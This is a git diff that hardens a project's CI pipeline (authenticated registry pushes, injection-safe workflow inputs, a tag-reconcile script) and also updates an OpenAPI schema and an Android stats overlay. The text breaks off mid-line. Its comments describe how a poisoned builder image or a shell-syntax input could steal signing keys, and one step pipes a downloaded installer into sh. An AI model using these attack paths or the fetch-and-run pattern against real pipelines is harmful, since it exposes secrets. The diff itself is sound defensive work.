diff --git a/.gitea/scripts/reconcile-latest.sh b/.gitea/scripts/reconcile-latest.sh new file mode 100755 index 00000000..5a699277 --- /dev/null +++ b/.gitea/scripts/reconcile-latest.sh @@ -0,0 +1,68 @@ +#!/usr/bin/env bash +# Assert that a builder image's :latest is the SAME manifest as its content key, and +# re-point it when it isn't. +# +# This is what we do instead of pinning consumers by @sha256: digest +# (security-review-2026-08-05, H-6 — see the reasoning at the top of docker.yml). The +# content key is a hash of the ci/ tree, so "which image should :latest be?" has an +# answer derivable from the commit alone. Checking it on every run turns :latest from a +# tag someone remembered to move into a function of the tree. +# +# Two different things make them diverge and neither is distinguishable from here: +# +# - Someone overwrote :latest out of band. Post-fix that needs the push credential, +# but it is exactly the H-6 attack and it must not pass silently. +# - ci/ was reverted. The older key is already a cache hit, so nothing rebuilds and +# nothing re-points :latest — it stays on the newer build forever while every +# consumer pulls a builder that does not match the tree it is building. That bug +# predates this script. +# +# Both are repaired identically, so: repair, and shout. Failing the build instead would +# turn a legitimate revert into a red main with no way forward. +# +# Reads go to the anonymous port, the single write to the authenticated one. +set -euo pipefail + +IMAGE="${1:?usage: reconcile-latest.sh }" +KEY="${2:?usage: reconcile-latest.sh }" +: "${CI_REGISTRY:?CI_REGISTRY not set}" +: "${CI_REGISTRY_PUSH:?CI_REGISTRY_PUSH not set}" +: "${CI_REGISTRY_PASSWORD:?CI_REGISTRY_PASSWORD not set}" + +ACCEPT='Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, application/vnd.docker.distribution.manifest.list.v2+json' + +# Digest of a tag, or empty if the tag does not exist. Never fails the script itself — +# "missing" is a state this has to reason about, not an error to abort on. +digest_of() { + curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$1" 2>/dev/null \ + | tr -d '\r' | sed -n 's/^[Dd]ocker-[Cc]ontent-[Dd]igest: //p' || true +} + +key_digest=$(digest_of "$KEY") +latest_digest=$(digest_of latest) + +if [ -z "$key_digest" ]; then + echo "::error::$IMAGE:$KEY has no manifest — the build or push above did not land" + exit 1 +fi + +if [ "$key_digest" = "$latest_digest" ]; then + echo "$IMAGE:latest == :$KEY ($key_digest)" + exit 0 +fi + +echo "::warning::$IMAGE:latest did not match its content key :$KEY — re-pointing it. If ci/ was not just reverted, someone overwrote this tag out of band: check the registry access log on home-ci-core." +echo " was: ${latest_digest:-}" +echo " wanted: $key_digest (:$KEY)" + +tmp=$(mktemp) +trap 'rm -f "$tmp"' EXIT +media_type=$(curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" \ + | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p') +curl -sf -H "$ACCEPT" -o "$tmp" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" +curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $media_type" \ + --data-binary @"$tmp" "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/latest" + +now=$(digest_of latest) +[ "$now" = "$key_digest" ] || { echo "::error::re-point failed: :latest is $now"; exit 1; } +echo "$IMAGE:latest re-pointed to $key_digest" diff --git a/.gitea/workflows/announce.yml b/.gitea/workflows/announce.yml index e4a66c3b..39b880ba 100644 --- a/.gitea/workflows/announce.yml +++ b/.gitea/workflows/announce.yml @@ -41,9 +41,23 @@ jobs: env: REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }} UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }} + # Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion + # is a raw textual substitution performed BEFORE the shell sees the line, so a + # workflow_dispatch input containing shell syntax executes as this step — and this is the + # step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an + # update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data. + INPUT_TAG: ${{ inputs.tag }} run: | set -euo pipefail - TAG="${{ inputs.tag }}" + TAG="$INPUT_TAG" + # Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`. + case "$TAG" in + v[0-9]*) ;; + *) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;; + esac + case "$TAG" in + *[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;; + esac case "$TAG" in *-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;; esac @@ -67,4 +81,7 @@ jobs: GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }} DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }} ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }} - run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}" + # Same reasoning as the publish step above: the input is data in the environment, never + # text spliced into the command line. + INPUT_TAG: ${{ inputs.tag }} + run: bash scripts/ci/discord-announce.sh "$INPUT_TAG" diff --git a/.gitea/workflows/bench-gpu.yml b/.gitea/workflows/bench-gpu.yml index 3bb12745..54bef323 100644 --- a/.gitea/workflows/bench-gpu.yml +++ b/.gitea/workflows/bench-gpu.yml @@ -29,4 +29,9 @@ jobs: steps: - uses: actions/checkout@v4 - name: Tier-3 GPU stream benchmark - run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12 + # Through the environment, not interpolated into the command line: a `${{ }}` expansion is + # substituted before the shell parses the line, so an input carrying shell syntax would run + # as this step (2026-08-05 review H-6). + env: + BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }} + run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12 diff --git a/.gitea/workflows/decky.yml b/.gitea/workflows/decky.yml index a5363174..e72bde05 100644 --- a/.gitea/workflows/decky.yml +++ b/.gitea/workflows/decky.yml @@ -46,7 +46,10 @@ env: REGISTRY: git.unom.io OWNER: unom PACKAGE: punktfunk-decky # generic-registry package name - PLUGIN: punktfunk # plugin.json "name" == zip top-level dir + # The plugin's ON-DISK dir == the zip's top-level dir. Deliberately NOT plugin.json "name" + # (that is the brand-cased label Decky lists, and it locates a plugin by matching it, not by + # the folder) — see clients/decky/scripts/package.sh. + PLUGIN: punktfunk jobs: build-publish: diff --git a/.gitea/workflows/docker.yml b/.gitea/workflows/docker.yml index 9d78c765..8cb826d6 100644 --- a/.gitea/workflows/docker.yml +++ b/.gitea/workflows/docker.yml @@ -3,13 +3,18 @@ # Two very different image families now: # # BUILDER images (punktfunk-rust-ci{,-noble,-arm64cross}, punktfunk-fedora{,44}-rpm) -# live on the LAN registry (home-ci-core, 192.168.1.58:5010 — unom/infra -# runners/ci-core/) and are CONTENT-KEYED: the tag is a hash of what they are built -# from (the ci/ tree, + rust-toolchain.toml for the cross image), and a build only -# happens when that key has no manifest yet. A push that doesn't touch ci/ costs one -# curl per image (~seconds), pushes nothing over the WAN, and mints no per-SHA tag -# debris on the runners — the failure mode that filled the fleet's disks. `:latest` -# is re-pushed alongside every new key and is what the consuming workflows pin. +# live on the LAN registry (home-ci-core — unom/infra runners/ci-core/) and are +# CONTENT-KEYED: the tag is a hash of what they are built from (the ci/ tree, + +# rust-toolchain.toml for the cross image), and a build only happens when that key +# has no manifest yet. A push that doesn't touch ci/ costs one curl per image +# (~seconds), pushes nothing over the WAN, and mints no per-SHA tag debris on the +# runners — the failure mode that filled the fleet's disks. `:latest` is re-pushed +# alongside every new key and is what the consuming workflows pin. +# +# READS come from :5010 and need no credential. WRITES go to :5011 and need +# CI_REGISTRY_PASSWORD. Same store behind both — a registry keys by repository name, +# not by the host:port the client used — so an image pushed to :5011 is the same +# image every consumer pulls from :5010. # # APP images (punktfunk-web, punktfunk-docs) are deployables: they keep going to the # Gitea registry (git.unom.io) with :latest + :sha-<8> (+ :vX.Y.Z on tags), because @@ -17,8 +22,38 @@ # # Host and clients are intentionally NOT containerized (see CLAUDE.md "What's left"). # -# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only — -# the LAN registry is unauthenticated inside the LAN). +# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images). +# CI_REGISTRY_PASSWORD: repo Actions secret, the LAN registry's push credential for user +# `ci`. Generated on ci-core into /srv/ci/stack/registry-secret; rotate in both places. +# +# --- security-review-2026-08-05 H-6, FIXED 2026-08-05 ------------------------------- +# The registry used to accept anonymous pushes from any LAN peer, and every +# secret-bearing job in this repo runs INSIDE an image pulled from it. Attacker +# position #1 of the project's own threat model did not need to break any signing +# logic: push one tag, and the next android.yml run executes their code in the same job +# that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape for +# rpm.yml (RPM_GPG_PRIVATE_KEY) and android-promote.yml (SERVICE_ACCOUNT_JSON). +# +# The infra half is done (unom/infra runners/ci-core/): :5010 serves GET/HEAD only and +# refuses everything else with 405, :5011 demands basic auth on every request. The half +# in this file is done below: pushes and release-tag manifest PUTs authenticate. +# +# ⚠ On the second half as the review originally worded it — "pin consumers by @sha256: +# digest". We deliberately do something else, because after authentication the digest +# pin no longer buys what it was meant to buy. The set of people who can overwrite a tag +# is now exactly the set who can push to main and edit a pinned digest in this very +# file: a pin defends against nobody it did not already trust, while costing a +# two-commit dance on every ci/ change (~3x a month) during which consumers silently run +# a builder image that predates the ci/ change they are testing. +# +# What actually closes the residual gap — a tag quietly overwritten out of band — is +# making :latest a CHECKED function of the tree instead of a tag someone remembered to +# move. The "Reconcile :latest" step below asserts on every run that :latest and +# :ck-$KEY are the same digest, repairs it when they are not, and says so loudly. That +# catches an out-of-band overwrite on the next push to main, needs no churn, and fixes +# a real pre-existing bug on the side: reverting ci/ used to leave :latest pointing at +# the newer build forever. Revisit inline digest pins if the push credential ever leaves +# the maintainer trust set. # # Bootstrap note: consuming workflows pull /punktfunk-rust-ci:latest, so the LAN # registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry @@ -42,7 +77,10 @@ on: env: REGISTRY: git.unom.io OWNER: unom + # Read port (anonymous, GET/HEAD only) and write port (basic auth). Two doors onto + # one store; see the header. CI_REGISTRY: 192.168.1.58:5010 + CI_REGISTRY_PUSH: 192.168.1.58:5011 jobs: builders: @@ -98,21 +136,40 @@ jobs: echo "hit=false" >> "$GITHUB_OUTPUT" fi + # Tagged for the WRITE port: :5010 refuses a push outright, so a tag that names it + # can only fail. Consumers still pull the identical image from :5010. - name: Build if: steps.exists.outputs.hit == 'false' # --pull is cheap now: base images come through the ci-core pull-through mirror. run: | docker build --pull ${{ matrix.buildargs }} \ -f "${{ matrix.dockerfile }}" \ - -t "$CI_REGISTRY/${{ matrix.image }}:$KEY" \ - -t "$CI_REGISTRY/${{ matrix.image }}:latest" \ + -t "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" \ + -t "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" \ ci + - name: Log in to the LAN registry + run: | + echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + - name: Push if: steps.exists.outputs.hit == 'false' run: | - docker push "$CI_REGISTRY/${{ matrix.image }}:$KEY" - docker push "$CI_REGISTRY/${{ matrix.image }}:latest" + docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" + docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" + + # :latest must be whatever ci/ says it is, on every run — not only on the runs that + # happened to build. Two things break that: an out-of-band overwrite (the H-6 + # attack, now only reachable by someone holding the push credential), and a plain + # revert of ci/, which leaves :latest on the newer build because the older key is + # already a cache hit and nothing re-points it. Both look identical from here and + # both are repaired the same way, so repair and shout rather than fail the build. + - name: Reconcile :latest with the content key + run: .gitea/scripts/reconcile-latest.sh "${{ matrix.image }}" "$KEY" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} # A release pins reproducible builder images without any rebuild: copy the key's # manifest to a vX.Y.Z tag via the registry API (no image bytes move). @@ -124,8 +181,19 @@ jobs: | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p') curl -sf -H "$ACCEPT" -o /tmp/manifest.json \ "http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$KEY" - curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \ - "http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME" + curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \ + --data-binary @/tmp/manifest.json \ + "http://$CI_REGISTRY_PUSH/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + + # Today the job container is ephemeral (the ubuntu-24.04 label is a docker:// + # image), so the credential docker login wrote would die with it anyway. Don't + # make that a load-bearing assumption about a runner label somebody may change to + # a host runner later. + - name: Log out of the LAN registry + if: always() + run: docker logout "$CI_REGISTRY_PUSH" || true # The aarch64 CROSS builder — a SEPARATE job because it is `FROM punktfunk-rust-ci:latest` # (the LAN copy) and so must not race the matrix entry that publishes that base. Consumed @@ -164,15 +232,26 @@ jobs: run: | docker build --pull \ -f ci/rust-ci-arm64cross.Dockerfile \ - -t "$CI_REGISTRY/$IMAGE:$KEY" \ - -t "$CI_REGISTRY/$IMAGE:latest" \ + -t "$CI_REGISTRY_PUSH/$IMAGE:$KEY" \ + -t "$CI_REGISTRY_PUSH/$IMAGE:latest" \ . + - name: Log in to the LAN registry + run: | + echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + - name: Push if: steps.exists.outputs.hit == 'false' run: | - docker push "$CI_REGISTRY/$IMAGE:$KEY" - docker push "$CI_REGISTRY/$IMAGE:latest" + docker push "$CI_REGISTRY_PUSH/$IMAGE:$KEY" + docker push "$CI_REGISTRY_PUSH/$IMAGE:latest" + + - name: Reconcile :latest with the content key + run: .gitea/scripts/reconcile-latest.sh "$IMAGE" "$KEY" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} - name: Tag for release if: startsWith(github.ref, 'refs/tags/v') @@ -182,8 +261,15 @@ jobs: | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p') curl -sf -H "$ACCEPT" -o /tmp/manifest.json \ "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" - curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \ - "http://$CI_REGISTRY/v2/$IMAGE/manifests/$GITHUB_REF_NAME" + curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \ + --data-binary @/tmp/manifest.json \ + "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/$GITHUB_REF_NAME" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + + - name: Log out of the LAN registry + if: always() + run: docker logout "$CI_REGISTRY_PUSH" || true # Deployable app images — unchanged flow, Gitea registry, per-SHA + release tags. apps: diff --git a/.gitea/workflows/sbom.yml b/.gitea/workflows/sbom.yml index 657f1a94..871bbdaa 100644 --- a/.gitea/workflows/sbom.yml +++ b/.gitea/workflows/sbom.yml @@ -38,10 +38,18 @@ jobs: with: fetch-depth: 0 # Pinned syft (keep in sync with the version validated against this repo; bump deliberately). + # + # The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped + # into a shell, so whatever that branch happened to say at job time ran here, with the job's + # environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes + # the whole step reproducible: bump the tag in both places together. - name: Install syft + env: + SYFT_VERSION: v1.49.0 run: | - curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \ - | sh -s -- -b /usr/local/bin v1.49.0 + set -euo pipefail + curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \ + | sh -s -- -b /usr/local/bin "$SYFT_VERSION" - name: Generate SBOM run: | git config --global --add safe.directory "$PWD" diff --git a/api/openapi.json b/api/openapi.json index 867ab315..b62c484c 100644 --- a/api/openapi.json +++ b/api/openapi.json @@ -10,7 +10,7 @@ "name": "MIT OR Apache-2.0", "identifier": "MIT OR Apache-2.0" }, - "version": "0.23.0" + "version": "0.24.0" }, "paths": { "/api/v1/clients": { @@ -1052,7 +1052,7 @@ "library" ], "summary": "Fetch one cover-art image for a library entry", - "description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —\nit's what the user's Steam client already shows for it), the public Steam CDN's flat URL\nconvention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host\ncan't predict, in which case this 404s and the client falls through to its next art candidate).\nOnly Steam ids are backed today; any other store 404s.", + "description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,\nand a library plugin's claimed-store entries) serves its local art file. A Steam title falls back\nto the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the\nuser's Steam client already shows for it), the public Steam CDN's flat URL convention second\n(newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case\nthis 404s and the client falls through to its next art candidate).", "operationId": "getLibraryArt", "parameters": [ { @@ -1307,7 +1307,7 @@ "library" ], "summary": "Replace a provider's library entries (declarative reconcile)", - "description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.", + "description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.\n\n`?store=` additionally **claims** that store for the provider: its entries then surface with\ndeterministic `:` ids and the store's own badge, instead of opaque\n`custom:` ones — which is what lets a library plugin reproduce the entries an in-host scanner\nused to produce, right down to the GameStream app ids and client-side art caches. One provider\nper store; a second claimant gets 409. While a claim is held the matching built-in scanner is\nsuppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty\nreconcile (a store can legitimately have zero installed titles).", "operationId": "reconcileProviderEntries", "parameters": [ { @@ -1318,6 +1318,15 @@ "schema": { "type": "string" } + }, + { + "name": "store", + "in": "query", + "description": "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)", + "required": false, + "schema": { + "type": "string" + } } ], "requestBody": { @@ -1348,7 +1357,7 @@ } }, "400": { - "description": "Invalid provider id or payload", + "description": "Invalid provider id, store id, or payload", "content": { "application/json": { "schema": { @@ -1367,6 +1376,16 @@ } } }, + "409": { + "description": "That store is already claimed by another provider", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ApiError" + } + } + } + }, "500": { "description": "Could not persist the catalog", "content": { @@ -4159,7 +4178,8 @@ "tier", "platforms", "compatible", - "update_available" + "update_available", + "categories" ], "properties": { "author": { @@ -4172,6 +4192,13 @@ ], "description": "A revocation covering the catalogued version — do not offer this without shouting." }, + "categories": { + "type": "array", + "items": { + "type": "string" + }, + "description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)." + }, "compatible": { "type": "boolean", "description": "Can this host install it?" @@ -4179,6 +4206,13 @@ "description": { "type": "string" }, + "detected": { + "type": [ + "boolean", + "null" + ], + "description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"." + }, "homepage": { "type": [ "string", @@ -4365,6 +4399,17 @@ ], "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." + }, + "store": { + "type": [ + "string", + "null" + ], + "description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten." + }, "title": { "type": "string" } @@ -4409,6 +4454,10 @@ }, "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)." + }, "title": { "type": "string" } @@ -4467,6 +4516,17 @@ "type": "object", "description": "What an operator (or a provider plugin) can tell the host about recognizing a title — the wire\nhalf of [`DetectSpec`], and the only part of it that is ever accepted from outside.\n\nDeliberately a **subset**: the store-derived signals (a Steam appid, a launcher's environment\nmarker) are things the host discovers for itself and would be meaningless — or dangerous — to take\non someone's word. What is left is what a provider genuinely knows and the host cannot guess: where\nthe title is installed, which executable is the game, what the process is called. All three are\noptional; supplying none is the same as supplying no hint at all.\n\nNever returned by the catalog API — see the module docs on why detect data does not cross the wire\noutbound.", "properties": { + "env_marker": { + "oneOf": [ + { + "type": "null" + }, + { + "$ref": "#/components/schemas/EnvMarker", + "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." + } + ] + }, "exe": { "type": [ "string", @@ -4487,6 +4547,15 @@ "null" ], "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." + }, + "steam_appid": { + "type": [ + "integer", + "null" + ], + "format": "int32", + "description": "The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**\nsignal that exists — Steam wraps every launch, native or Proton, in\n`reaper SteamLaunch AppId=`, whose lifetime is exactly the game's — so without it a\nsteam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.", + "minimum": 0 } } }, @@ -4715,6 +4784,27 @@ } } }, + "EnvMarker": { + "type": "object", + "description": "An environment variable a launcher stamps onto the game's process, identifying it.\n\nSerializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin\nthat knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to\nbe able to say so, since after extraction the host no longer reads that launcher's files itself.", + "required": [ + "key" + ], + "properties": { + "key": { + "type": "string", + "description": "The variable name (e.g. `HEROIC_GAME_ID`).", + "example": "HEROIC_APP_NAME" + }, + "value": { + "type": [ + "string", + "null" + ], + "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." + } + } + }, "EventKind": { "oneOf": [ { @@ -5165,6 +5255,10 @@ ], "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." + }, "store": { "type": "string", "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`.", @@ -5296,6 +5390,14 @@ } } }, + "GameRole": { + "type": "string", + "description": "What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big\nPicture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,\nleases and lists exactly like a game (design D4), and clients that don't know the field render it\nas a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged\nfor every entry that doesn't opt in.", + "enum": [ + "game", + "launcher" + ] + }, "GameSession": { "type": "string", "description": "How a session that **launches a game** (a library id on the Hello / apps.json / Decky pin) is\nserved (`design/gamemode-and-dedicated-sessions.md` §5.2). Orthogonal to the preset/lifecycle axes\n— a top-level [`DisplayPolicy`] field, NOT part of [`EffectivePolicy`], so a preset never clobbers\nit. Linux-only in effect (a launching Windows session opens into the one desktop).", @@ -6334,6 +6436,13 @@ "title" ], "properties": { + "category": { + "type": [ + "string", + "null" + ], + "description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category." + }, "title": { "type": "string", "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)." @@ -6366,6 +6475,13 @@ "title" ], "properties": { + "category": { + "type": [ + "string", + "null" + ], + "description": "The plugin's kind — see [`PluginRegistration::category`]." + }, "id": { "type": "string" }, @@ -6604,6 +6720,10 @@ }, "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`." + }, "title": { "type": "string" } @@ -6780,26 +6900,46 @@ }, "ScannerInfo": { "type": "object", - "description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host.", + "description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible.", "required": [ "id", "label", - "enabled" + "enabled", + "origin" ], "properties": { "enabled": { "type": "boolean", - "description": "Whether this host runs the scanner (default true)." + "description": "Whether this host runs the source (default true)." + }, + "entries": { + "type": [ + "integer", + "null" + ], + "description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle.", + "minimum": 0 }, "id": { "type": "string", - "description": "Stable scanner id — the same string the scanner's entries carry in their `store` field.", + "description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin.", "example": "steam" }, "label": { "type": "string", "description": "Human-facing name for the console toggle.", "example": "Steam" + }, + "origin": { + "$ref": "#/components/schemas/SourceOrigin", + "description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`." + }, + "provider": { + "type": [ + "string", + "null" + ], + "description": "The provider id backing a `plugin` source — absent for a built-in scanner." } } }, @@ -6962,6 +7102,14 @@ } } }, + "SourceOrigin": { + "type": "string", + "description": "Where a [`ScannerInfo`] comes from.", + "enum": [ + "builtin", + "plugin" + ] + }, "SourceView": { "type": "object", "description": "A configured catalog source and how its last refresh went.", diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt index d5195d9a..926606ce 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/StatsOverlay.kt @@ -26,13 +26,25 @@ import kotlin.math.roundToInt * presentsWindow, presenterActive, feedP50Ms, codecP50Ms, skippedOverflowWindow]`. Every read * is length-guarded, so an older native lib simply omits the lines it can't feed. * + * The shown `display` and `end-to-end` numbers EXCLUDE the OS present floor (see [osFloorMs]) at + * every tier, and the detailed tier names what was excluded on its own line. The principle is the + * Apple client's: metrics report what Punktfunk controls, so the compositor's own latch and scanout + * — which no client can pace under — is reported rather than charged. It also stops the HUD reading + * worse than it is: the usual Android streaming overlays stop measuring at decode-complete, so a + * headline that carried the compositor's wait was compared against numbers that never contained it. + * + * The RAW figures are not lost — the native 1 Hz `pf.present` logcat line keeps `paceMs`, `latchMs` + * and `e2eMs` unshaved, so a HUD-off A/B and any cross-session comparison still work off the + * untouched numbers. + * * [verbosity] selects how many lines render (each tier a superset of the last — see * [StatsVerbosity]): * - [StatsVerbosity.COMPACT] — one line, `fps · end-to-end ms · Mb/s` (+ a loss flag). * - [StatsVerbosity.NORMAL] — the res/fps/Mb·s line, the end-to-end p50/p95 headline, and the * reliability counters (18–21) when nonzero. - * - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), and the - * stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero). + * - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), the + * stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero), + * and the excluded-floor line when one was measured. * [StatsVerbosity.OFF] renders nothing. Older native layouts simply omit the lines they lack (the * counter line falls back to the cumulative `lostTotal` at index 9 on a pre-window lib). */ @@ -95,9 +107,15 @@ internal fun StatsOverlay( // equation gains its `display` term; otherwise (older lib / no callbacks) the endpoint // honestly stays capture→decoded — the equation always tiles the headline interval. val dispValid = s.size >= 26 && s[22] != 0.0 + // The OS present floor this window (see [osFloorMs]) is excluded from every shown + // display / end-to-end number, at every tier — it is pipeline depth no client can pace + // under, so charging it to Punktfunk made our HUD read worse than clients that simply + // never measure it. 0.0 when unmeasured, which leaves the numbers exactly as raw as + // they were. + val floorMs = osFloorMs(s) val tag = if (skew) "" else " (same-host clock)" val (p50, p95, endpoint) = if (dispValid) { - Triple(s[24], s[25], "capture→displayed") + Triple(shave(s[24], 